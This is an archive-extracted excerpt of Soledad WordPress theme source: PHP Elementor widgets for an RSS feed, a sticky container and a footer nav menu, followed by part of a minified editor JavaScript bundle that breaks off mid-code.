			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_bdcolor', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hbdcolor', array(
			'label'     => __( 'Hover Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'border-color: {{VALUE}};' ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_spacing', array(
			'label' => __( 'Elements Spacing', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_responsive_control( 'meta_space', array(
			'label'     => __( 'Feed Meta Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-inner .grid-post-box-meta' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'excerpt_space', array(
			'label'     => __( 'Feed Excerpt Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-pexcerpt' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'rm_space', array(
			'label'     => __( 'Read More Button Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'condition' => array( 'show_readmore' => 'yes' ),
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-readmore' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}

	protected function render() {
		require_once PENCI_SOLEDAD_DIR . '/inc/simple_pie.php';
		require_once PENCI_SOLEDAD_DIR . '/inc/rss_feed.php';
		$settings      = $this->get_settings();
		$fallback_img  = $settings['item-fallback-thumb'];
		$hide_meta     = $settings['cus-hide-meta'];
		$hide_title    = $settings['item-display-title'];
		$multiple_meta = $settings['cus-multiple-meta'];

		// Layout
		$display_source = $settings['source'];
		$feed_settings  = array(
			'feeds'             => $settings['feeds'],
			'max'               => $settings['max'],
			'target'            => $settings['target'],
			'title'             => $settings['title'],
			'meta'              => is_array( $settings['meta'] ) ? implode(',', $settings['meta']) : '',
			'summary'           => $settings['summary'],
			'summarylength'     => $settings['summarylength'],
			'thumb'             => $settings['thumb'],
			'default'           => ! empty( $fallback_img['url'] ) ? $fallback_img['url'] : '',
			'keywords_title'    => $settings['keywords_title'],
			'keywords_inc_on'   => $settings['keywords_inc_on'],
			'keywords_ban'      => $settings['keywords_ban'],
			'keywords_exc_on'   => $settings['keywords_exc_on'],
			'error_empty'       => $settings['error_empty'],
			'sort'              => $settings['sort'],
			'refresh'           => $settings['refresh'],
			'follow'            => $settings['follow'],
			'offset'            => $settings['offset'],
			'from_datetime'     => $settings['from_datetime'],
			'to_datetime'       => $settings['to_datetime'],
			'multiple_meta'     => $display_source ? 'source' : '',
			'type'              => $settings['type'] ? $settings['type'] : '',
			'date_pos'          => isset( $settings['date_pos'] ) ? $settings['date_pos'] : 'left',
			'column'            => $settings['column'] ? $settings['column'] : '3',
			'tab_column'        => $settings['tab_column'] ? $settings['tab_column'] : '2',
			'mb_column'         => $settings['mb_column'] ? $settings['mb_column'] : '1',
			'imgpos'            => isset( $settings['imgpos'] ) ? $settings['imgpos'] : 'left',
			'thumb_size_imgtop' => 'top' == $settings['imgpos'] ? 'penci-thumb' : 'penci-thumb-small',
			'title_length'      => isset( $settings['title_length'] ) ? $settings['title_length'] : '',
			'excerpt_pos'       => $settings['excerpt_pos'] ? $settings['excerpt_pos'] : 'below',
		);
		$feed_settings  = apply_filters( 'penci_rss_feed_widget_shortcode_attributes_filter', $feed_settings, array() );
		// Hide item meta.
		if ( empty( $hide_meta ) ) {
			unset( $feed_settings['meta'] );
		}
		// Hide item title.
		if ( empty( $hide_title ) || 'yes' !== $hide_title ) {
			$feed_settings['title'] = 0;
		}
		// Multiple meta.
		if ( ! empty( $multiple_meta ) ) {
			$feed_settings['multiple_meta'] = $multiple_meta;
		}
		$this->markup_block_title( $settings, $this );
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		echo \Penci_Rss_Feed::get_rss( $feed_settings );
	}
}PK     N\Y=      7  inc/elementor/modules/penci-sticky-container/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciStickyContainer;

use PenciSoledadElementor\Base\Module_Base;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Box_Shadow;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class Module extends Module_Base {

	public function __construct() {
		parent::__construct();
		$this->add_actions();
	}

	public function get_name() {
		return 'penci-sticky-container';
	}

	public function register_section( $element ) {
		$element->start_controls_section(
			'penci_sticky_container_section',
			[
				'label' => __( 'Penci Sticky Container', 'soledad' ),
				'tab'   => Controls_Manager::TAB_ADVANCED,
			]
		);
		$element->end_controls_section();
	}

	public function register_controls( $section, $args ) {

		$section->add_control(
			'sticky_container_on',
			[
				'label'        => esc_html__( 'Enable Sticky', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'return_value' => 'yes',
				'description'  => esc_html__( 'Set sticky options by enable this option. Note: If you use this sticky, please avoid the Elementor Pro sticky feature. So as not to conflict.', 'soledad' ),
			]
		);

		$section->add_control(
			'sticky_container_offset',
			[
				'label'     => esc_html__( 'Offset', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 0,
				],
				'condition' => [
					'sticky_container_on' => 'yes',
				],
			]
		);

		$section->add_control(
			'sticky_container_active_bg',
			[
				'label'     => esc_html__( 'Active Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}}.pencisctn-sticky.pencisctn-active' => 'background-color: {{VALUE}};',
				],
				'condition' => [
					'sticky_container_on' => 'yes',
				],
			]
		);

		$section->add_responsive_control(
			'sticky_container_active_padding',
			[
				'label'      => esc_html__( 'Active Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}}.pencisctn-sticky.pencisctn-active' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'condition'  => [
					'sticky_container_on' => 'yes',
				],
			]
		);

		$section->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'label'     => esc_html__( 'Active Box Shadow', 'soledad' ),
				'name'      => 'sticky_container_active_shadow',
				'selector'  => '{{WRAPPER}}.pencisctn-sticky.pencisctn-active',
				'condition' => [
					'sticky_container_on' => 'yes',
				],
			]
		);

		// $section->add_control(
		// 	'sticky_container_animation',
		// 	[
		// 		'label'     => esc_html__( 'Animation', 'soledad' ),
		// 		'type'      => Controls_Manager::SELECT,
		// 		'options'   => [ 
        //             ''                    => esc_html__( 'None', 'soledad' ),
        //             'fade'                => esc_html__( 'Fade', 'soledad' ),
        //             'slide-top'           => esc_html__( 'Slide Top', 'soledad' ),
        //             'slide-bottom'        => esc_html__( 'Slide Bottom', 'soledad' ),
        //             'slide-top-small'     => esc_html__( 'Slide Top Small', 'soledad' ),
        //             'slide-bottom-small'  => esc_html__( 'Slide Bottom Small', 'soledad' ),
        //             'slide-top-medium'    => esc_html__( 'Slide Top Medium', 'soledad' ),
        //         ],
		// 		'condition' => [
		// 			'sticky_container_on' => 'yes',
		// 		],
		// 	]
		// );

		$section->add_control(
			'sticky_container_bottom',
			[
				'label'       => esc_html__( 'Scroll Until', 'soledad' ),
				'description' => esc_html__( 'If you don\'t want to scroll after specific section so set that section ID/CLASS here. for example: #section1 or .section1 it\'s support ID/CLASS', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'condition'   => [
					'sticky_container_on' => 'yes',
				],
			]
		);

		$section->add_control(
			'sticky_container_on_scroll_up',
			[
				'label'        => esc_html__( 'Sticky on Scroll Up', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'return_value' => 'yes',
				'description'  => esc_html__( 'Set sticky options when you scroll up your mouse.', 'soledad' ),
				'condition'    => [
					'sticky_container_on' => 'yes',
				],
			]
		);

		// $section->add_control(
		// 	'sticky_container_position',
		// 	[
		// 		'label'       => esc_html__( 'Position', 'soledad' ),
		// 		'description' => esc_html__( 'By default, the element sticks to the top of the viewport. You can set the position option to use a different position.', 'soledad' ),
		// 		'type'        => Controls_Manager::SELECT,
		// 		'default'     => 'header',
		// 		'options'     => [
		// 			'header'	 => 'Header',
		// 			'footer'   	  => 'Footer',
		// 		],
		// 		'condition'   => [
		// 			'sticky_container_on' => 'yes',
		// 		],
		// 	]
		// );

		$section->add_control(
			'sticky_container_zindex',
			[
				'label'     => esc_html__( 'Z-Index', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'min'       => - 1000,
				'max'       => 9999,
				'condition' => [
					'sticky_container_on' => 'yes',
				],
				'selectors' => [
					'{{WRAPPER}}.pencisctn-sticky.pencisctn-active' => 'z-index: {{VALUE}};',
				],
			]
		);

		$section->add_control(
			'sticky_container_disable_tablet',
			[
				'label'     => __( 'Turn Off on Tablet', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'sticky_container_on' => 'yes',
				],
				'separator' => 'before',
			]
		);


		$section->add_control(
			'sticky_container_disable_mobile',
			[
				'label'     => __( 'Turn Off on Mobile', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'sticky_container_on' => 'yes',
				],
				'separator' => 'before',
			]
		);

	}


	public function sticky_before_render( $section ) {
		$settings = $section->get_settings_for_display();
		if ( ! empty( $settings['sticky_container_on'] ) == 'yes' ) {
			$sticky_option = [];
			if ( ! empty( $settings['sticky_container_on_scroll_up'] ) ) {
				$section->add_render_attribute( '_wrapper', 'class', 'pencisctn-scrollup' );
			}

			if ( ! empty( $settings['sticky_container_offset']['size'] ) ) {
				$section->add_render_attribute( '_wrapper', 'data-pencisctn-offset', $settings['sticky_container_offset']['size'] );
			}

			if ( ! empty( $settings['sticky_container_disable_tablet'] ) ) {
				$section->add_render_attribute( '_wrapper', 'data-pencisctn-tablet', $settings['sticky_container_off_media'] );
			}
			
			if ( ! empty( $settings['sticky_container_disable_mobile'] ) ) {
				$section->add_render_attribute( '_wrapper', 'data-pencisctn-mobile', $settings['sticky_container_disable_mobile'] );
			}
			
			if ( ! empty( $settings['sticky_container_bottom'] ) ) {
				$section->add_render_attribute( '_wrapper', 'data-pencisctn-stop', $settings['sticky_container_bottom'] );
			}

			$section->add_render_attribute( '_wrapper', 'data-pencisctn-sticky', implode( ";", $sticky_option ) );
			$section->add_render_attribute( '_wrapper', 'class', 'pencisctn-sticky' );
		}
	}

	public function sticky_script_render( $section ) {

		if ( $section->get_settings( 'sticky_container_on' ) == 'yes' ) {
			wp_enqueue_script( 'penci-sticky-container' );
		}

	}

	protected function add_actions() {

		add_action( 'elementor/element/section/section_advanced/after_section_end', [ $this, 'register_section' ] );
		add_action( 'elementor/element/section/penci_sticky_container_section/before_section_end', [
			$this,
			'register_controls'
		], 10, 2 );
		add_action( 'elementor/frontend/section/before_render', [ $this, 'sticky_before_render' ], 10, 1 );
		add_action( 'elementor/frontend/section/after_render', [ $this, 'sticky_script_render' ], 10, 1 );


		add_action( 'elementor/element/container/section_layout/after_section_end', [ $this, 'register_section' ] );
		add_action( 'elementor/element/container/penci_sticky_container_section/before_section_end', [
			$this,
			'register_controls'
		], 10, 2 );
		add_action( 'elementor/frontend/container/before_render', [ $this, 'sticky_before_render' ], 10, 1 );
		add_action( 'elementor/frontend/container/after_render', [ $this, 'sticky_script_render' ], 10, 1 );

	}
}PK     N\(9r&  &  5  inc/elementor/modules/penci-footer-navmenu/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciFooterNavmenu;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-footer-navmenu';
	}

	public function get_widgets() {
		return array( 'PenciFooterNavmenu' );
	}
}
PK     N\7m )   )  K  inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciFooterNavmenu\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Base\Base_Color;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciFooterNavmenu extends Base_Widget {
	public function get_name() {
		return 'penci-footer-navmenu';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Footer Nav Menu', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-form-vertical';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'list', 'menu', 'footer', 'builder', 'nav' );
	}
	
	private function get_available_menus() {
		$menus = wp_get_nav_menus();

		$options = [];

		foreach ( $menus as $menu ) {
			$options[ $menu->slug ] = $menu->name;
		}

		return $options;
	}

	protected function register_controls() {
		

		// Section general
		$this->start_controls_section(
			'section_type', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		
		$menus = $this->get_available_menus();

		if ( ! empty( $menus ) ) {
			$this->add_control(
				'menu',
				[
					'label' => __( 'Menu', 'soledad' ),
					'type' => Controls_Manager::SELECT,
					'options' => $menus,
					'default' => array_keys( $menus )[0],
					'save_default' => true,
					'separator' => 'after',
					'description' => sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to manage your menus. Please note that: The Footer Nav Menu does not support showing sub-menu items. All sub-menus will be hidden.', 'soledad' ), admin_url( 'nav-menus.php' ) ),
				]
			);
		} else {
			$this->add_control(
				'menu',
				[
					'type' => Controls_Manager::RAW_HTML,
					'raw' => '<strong>' . __( 'There are no menus in your site.', 'soledad' ) . '</strong><br>' . sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to create one.', 'soledad' ), admin_url( 'nav-menus.php?action=edit&menu=0' ) ),
					'separator' => 'after',
					'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
				]
			);
		}
		
		$this->add_responsive_control(
			'align_items',
			[
				'label' => __( 'Align', 'soledad' ),
				'type' => Controls_Manager::CHOOSE,
				'options' => [
					'left' => [
						'title' => __( 'Left', 'soledad' ),
						'icon' => 'eicon-h-align-left',
					],
					'center' => [
						'title' => __( 'Center', 'soledad' ),
						'icon' => 'eicon-h-align-center',
					],
					'right' => [
						'title' => __( 'Right', 'soledad' ),
						'icon' => 'eicon-h-align-right',
					],
				],
				'selectors'   => array(
					'{{WRAPPER}} .pcfooter-navmenu .pcfoot-navmenu' => 'text-align: {{VALUE}}'
				)
			]
		);
		
		
		$this->add_control(
			'separator',
			array(
				'label'   => __( 'Separator Between Menu Items', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'none'   => 'None',
					'verline'   => 'Vertical Line',
					'slash'   => 'Slash Line',
					'dslash'   => 'Double Slash',
					'circle'   => 'Circle',
				),
				'default' => 'none',
			)
		);
		
		$this->add_responsive_control(
			'separator_height', array(
				'label'     => __( 'Separator Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 50 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pcfooter-navmenu' => '--pcfnmn-spea-height: {{SIZE}}px;',
				),
				'condition' => array( 'separator' => array( 'verline', 'slash', 'dslash' ) ),
			)
		);
		
		$this->add_responsive_control(
			'separator_cheight', array(
				'label'     => __( 'CirCle Separator Width & Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 50 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pcfooter-navmenu' => '--pcfnmn-cirspea-h: {{SIZE}}px;',
				),
				'condition' => array( 'separator' => array( 'circle' ) ),
			)
		);
		
		$this->add_responsive_control(
			'item_space', array(
				'label'     => __( 'Spacing Between Menu Items', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 300 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pcfooter-navmenu' => '--pcfnmn-space: {{SIZE}}px;',
				),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Footer Nav Menu', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);
		
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'item_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pcfooter-navmenu li a',
			)
		);
		
		$this->add_control(
			'color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcfooter-navmenu li a' => 'color: {{VALUE}};' ),
			)
		);
		
		$this->add_control(
			'hcolor',
			array(
				'label'     => __( 'Hover & Active Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcfooter-navmenu li a:hover, {{WRAPPER}} .pcfooter-navmenu li.current-menu-item a' => 'color: {{VALUE}};' ),
			)
		);
		
		$this->add_control(
			'sepacolor',
			array(
				'label'     => __( 'Separator Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( 
					'{{WRAPPER}} .pcfoot-navmenu > li:after' => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .pcfnm-sepa-circle .pcfoot-navmenu > li:after' => 'background-color: {{VALUE}};'
				),
				'condition' => array( 'separator!' => 'none' ),
			)
		);
		
		$this->add_control(
			'addbg', array(
				'label'        => __( 'Add Background for Menu Items?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
				'separator' => 'before',
			)
		);
		
		$this->add_control(
			'bgcolor',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcfnm-bgitems .pcfoot-navmenu li a' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'addbg' => 'yes' ),
			)
		);
		
		$this->add_control(
			'hbgcolor',
			array(
				'label'     => __( 'Hover & Active Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'addbg' => 'yes' ),
				'selectors' => array( '{{WRAPPER}} .pcfnm-bgitems .pcfoot-navmenu li a:hover, {{WRAPPER}} .pcfnm-bgitems .pcfoot-navmenu li.current-menu-item a' => 'background-color: {{VALUE}};' ),
			)
		);
		
		$this->add_control(
			'addborders', array(
				'label'        => __( 'Add Borders for Menu Items?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
				'separator' => 'before',
			)
		);
		
		$this->add_responsive_control(
			'items_bwidth', array(
				'label'      => __( 'Custom Borders Width', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcfnm-bditems .pcfoot-navmenu li a' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
				'condition' => array( 'addborders' => 'yes' ),
			)
		);
		
		$this->add_control(
			'borderscolor',
			array(
				'label'     => __( 'Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcfnm-bditems .pcfoot-navmenu li a' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'addborders' => 'yes' ),
			)
		);
		
		$this->add_control(
			'hborderscolor',
			array(
				'label'     => __( 'Hover & Active Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'addborders' => 'yes' ),
				'selectors' => array( '{{WRAPPER}} .pcfnm-bditems .pcfoot-navmenu li a:hover, {{WRAPPER}} .pcfnm-bditems .pcfoot-navmenu li.current-menu-item a' => 'border-color: {{VALUE}};' ),
			)
		);
		
		$this->add_responsive_control(
			'items_padding', array(
				'label'      => __( 'Menu Items Custom Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcfnm-bditems .pcfoot-navmenu li a, {{WRAPPER}} .pcfnm-bgitems .pcfoot-navmenu li a' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
				'separator' => 'before',
				'conditions' => [
					'relation' => 'or',
					'terms' => [
						[
							'name' => 'addbg',
							'operator' => '==',
							'value' => 'yes'
						],
						[
							'name' => 'addborders',
							'operator' => '==',
							'value' => 'yes'
						]
					]
				]
			)
		);
		
		$this->end_controls_section();

	}

	protected function render() {
		$available_menus = $this->get_available_menus();

		if ( ! $available_menus ) {
			return;
		}
		
		$settings = $this->get_settings();
		$wrapper_class = 'pcfooter-navmenu';
		$menu_id = $settings['menu'] ? $settings['menu'] : '';
		$wrapper_class .= $settings['separator'] ? ' pcfnm-sepa-' . $settings['separator'] : ' pcfnm-sepa-none';
		if( 'yes' == $settings['addbg'] ){
			$wrapper_class .= ' pcfnm-bgitems';
		}
		if( 'yes' == $settings['addborders'] ){
			$wrapper_class .= ' pcfnm-bditems';
		}
		?>
		<div class="<?php echo $wrapper_class; ?>">
			<?php
			wp_nav_menu( array(
				'menu'            => $menu_id,
				'container'      => false,
				'menu_class'     => 'pcfoot-navmenu',
				'fallback_cb'    => 'penci_menu_fallback',
			) );
			?>
		</div>
		<?php
	}
}
PK     N\ak  k  %  inc/elementor/assets/js/editor.bak.jsnu [        !function ( e ) {
	var t = {};

	function n( i ) {
		if ( t[i] ) {
			return t[i].exports;
		}
		var o = t[i] = {i: i, l: !1, exports: {}};
		return e[i].call( o.exports, o, o.exports, n ), o.l = !0, o.exports
	}

	n.m = e, n.c = t, n.d = function ( e, t, i ) {
		n.o( e, t ) || Object.defineProperty( e, t, {enumerable: !0, get: i} )
	}, n.r = function ( e ) {
		"undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty( e, Symbol.toStringTag, {value: "Module"} ), Object.defineProperty( e, "__esModule", {value: !0} )
	}, n.t = function ( e, t ) {
		if ( 1 & t && (
			e = n( e )
		), 8 & t ) {
			return e;
		}
		if ( 4 & t && "object" == typeof e && e && e.__esModule ) {
			return e;
		}
		var i = Object.create( null );
		if ( n.r( i ), Object.defineProperty( i, "default", {enumerable: !0, value: e} ), 2 & t && "string" != typeof e ) {
			for ( var o in e ) {
				n.d( i, o, function ( t ) {
					return e[t]
				}.bind( null, o ) );
			}
		}
		return i
	}, n.n = function ( e ) {
		var t = e && e.__esModule ? function () {
			return e.default
		} : function () {
			return e
		};
		return n.d( t, "a", t ), t
	}, n.o = function ( e, t ) {
		return Object.prototype.hasOwnProperty.call( e, t )
	}, n.p = "", n( n.s = 9 )
}( [
	function ( e, t, n ) {
		"use strict";
		var i = function () {
			var e = this;
			this.init = function () {
				jQuery( window ).on( "elementor:init", this.onElementorReady.bind( this ) )
			}, this.getView = function ( e ) {
				return elementor.getPanelView().getCurrentPageView().children.findByModelCid( this.getControl( e ).cid )
			}, this.getControl = function ( e ) {
				return elementor.getPanelView().getCurrentPageView().collection.findWhere( {name: e} )
			}, this.onElementorReady = function () {
				e.onElementorInit(), elementor.on( "frontend:init", function () {
					e.onElementorFrontendInit()
				} ), elementor.on( "preview:loaded", function () {
					e.onElementorPreviewLoaded()
				} )
			}, this.init()
		};
		i.prototype.onElementorInit = function () {
		}, i.prototype.onElementorPreviewLoaded = function () {
		}, i.prototype.onElementorFrontendInit = function () {
		}, i.extend = Backbone.View.extend, e.exports = i
	}, function ( e, t, n ) {
		"use strict";
		e.exports = elementor.modules.Module.extend( {
			elementType: null, __construct: function ( e ) {
				this.elementType = e, this.addEditorListener()
			}, addEditorListener: function () {
				var e = this;
				if ( e.onElementChange ) {
					var t = "change";
					"global" !== e.elementType && (
						t += ":" + e.elementType
					), elementor.channels.editor.on( t, function ( t, n ) {
						e.onElementChange( t.model.get( "name" ), t, n )
					} )
				}
			}, getView: function ( e ) {
				return elementor.getPanelView().getCurrentPageView().children.findByModelCid( this.getControl( e ).cid )
			}, getControl: function ( e ) {
				return elementor.getPanelView().getCurrentPageView().collection.findWhere( {name: e} )
			}, addControlSpinner: function ( e ) {
				var t = this.getView( e ).$el, n = t.find( ":input" );
				t.find( ":input" ).attr( "disabled" ) || (
					n.attr( "disabled", !0 ), t.find( ".elementor-control-title" ).after( '<span class="elementor-control-spinner"><i class="fa fa-spinner fa-spin"></i>&nbsp;</span>' )
				)
			}, removeControlSpinner: function ( e ) {
				this.getView( e ).$el.find( ":input" ).attr( "disabled", !1 ), this.getView( e ).$el.find( "elementor-control-spinner" ).remove()
			}, addSectionListener: function ( e, t ) {
				var n = this;
				elementor.channels.editor.on( "section:activated", function ( i, o ) {
					var r = o.getOption( "editedElementView" ).getEditModel(), l = r.get( "elType" ), s = arguments;
					"widget" === l && (
						l = r.get( "widgetType" )
					), n.elementType === l && e === i && setTimeout( function () {
						t.apply( n, s )
					}, 10 )
				} )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 1 );
		e.exports = i.extend( {
			cache: {}, getName: function () {
				return ""
			}, fetchCache: function ( e, t, n ) {
				var i = this;
				return soledadElementor.ajax.addRequest( "forms_panel_action_data", {
					data: n, success: function ( n ) {
						i.cache[e] = _.extend( {}, i.cache[e] ), i.cache[e][t] = n[e]
					}
				} )
			}, updateOptions: function ( e, t ) {
				this.getView( e ) && (
					this.getControl( e ).set( "options", t ), this.getView( e ).render()
				)
			}, onInit: function () {
				this.addSectionListener( "section_" + this.getName(), this.onSectionActive )
			}, onSectionActive: function () {
				this.onApiUpdate()
			}, onApiUpdate: function () {
			}
		} )
	}, , , , , , , function ( e, t, n ) {
		"use strict";
		var i = Marionette.Application.extend( {
			config: {}, modules: {}, initModules: function () {
				var e = n( 10 ), t = n( 12 ), i = n( 28 ), o = n( 30 ), r = n( 32 ), l = n( 38 ), s = n( 39 ), a = n( 40 ), d = n( 42 ), c = n( 44 );
				this.modules = {queryControl: new e, forms: new t, library: new i, customCSS: new o, globalWidget: new r, flipBox: new l, shareButtons: new s, assetsManager: new a, themeElements: new d, themeBuilder: new c}
			}, ajax: {
				prepareArgs: function ( e ) {
					return e[0] = "penci_" + e[0], e
				}, send: function () {
					return elementorCommon.ajax.send.apply( elementorCommon.ajax, this.prepareArgs( arguments ) )
				}, addRequest: function () {
					return elementorCommon.ajax.addRequest.apply( elementorCommon.ajax, this.prepareArgs( arguments ) )
				}
			}, translate: function ( e, t ) {
				return elementorCommon.translate( e, null, t, this.config.i18n )
			}, onStart: function () {
				this.config = PenciElementorConfig, this.initModules(), jQuery( window ).on( "elementor:init", this.onElementorInit )
			}, onElementorInit: function () {
				soledadElementor.libraryRemoveGetProButtons(), elementor.debug.addURLToWatch( "elementor/assets" )
			}, libraryRemoveGetProButtons: function () {
				elementor.hooks.addFilter( "elementor/editor/template-library/template/action-button", function ( e, t ) {
					return t.isPro && !soledadElementor.config.isActive ? "#tmpl-elementor-template-library-activate-license-button" : "#tmpl-elementor-template-library-insert-button"
				} )
			}
		} );
		window.soledadElementor = new i, soledadElementor.start()
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			onElementorPreviewLoaded: function () {
				elementor.addControlView( "Query", n( 11 ) )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = elementor.modules.controls.Select2.extend( {
			cache: null, isTitlesReceived: !1, getSelect2Placeholder: function () {
				return {id: "", text: soledadElementor.translate( "all" )}
			}, getSelect2DefaultOptions: function () {
				var e = this;
				return jQuery.extend( elementor.modules.controls.Select2.prototype.getSelect2DefaultOptions.apply( this, arguments ), {
					ajax: {
						transport: function ( t, n, i ) {
							var o = {q: t.data.q, filter_type: e.model.get( "filter_type" ), object_type: e.model.get( "object_type" ), include_type: e.model.get( "include_type" )};
							return soledadElementor.ajax.addRequest( "panel_posts_control_filter_autocomplete", {data: o, success: n, error: i} )
						}, data: function ( e ) {
							return {q: e.term, page: e.page}
						}, cache: !0
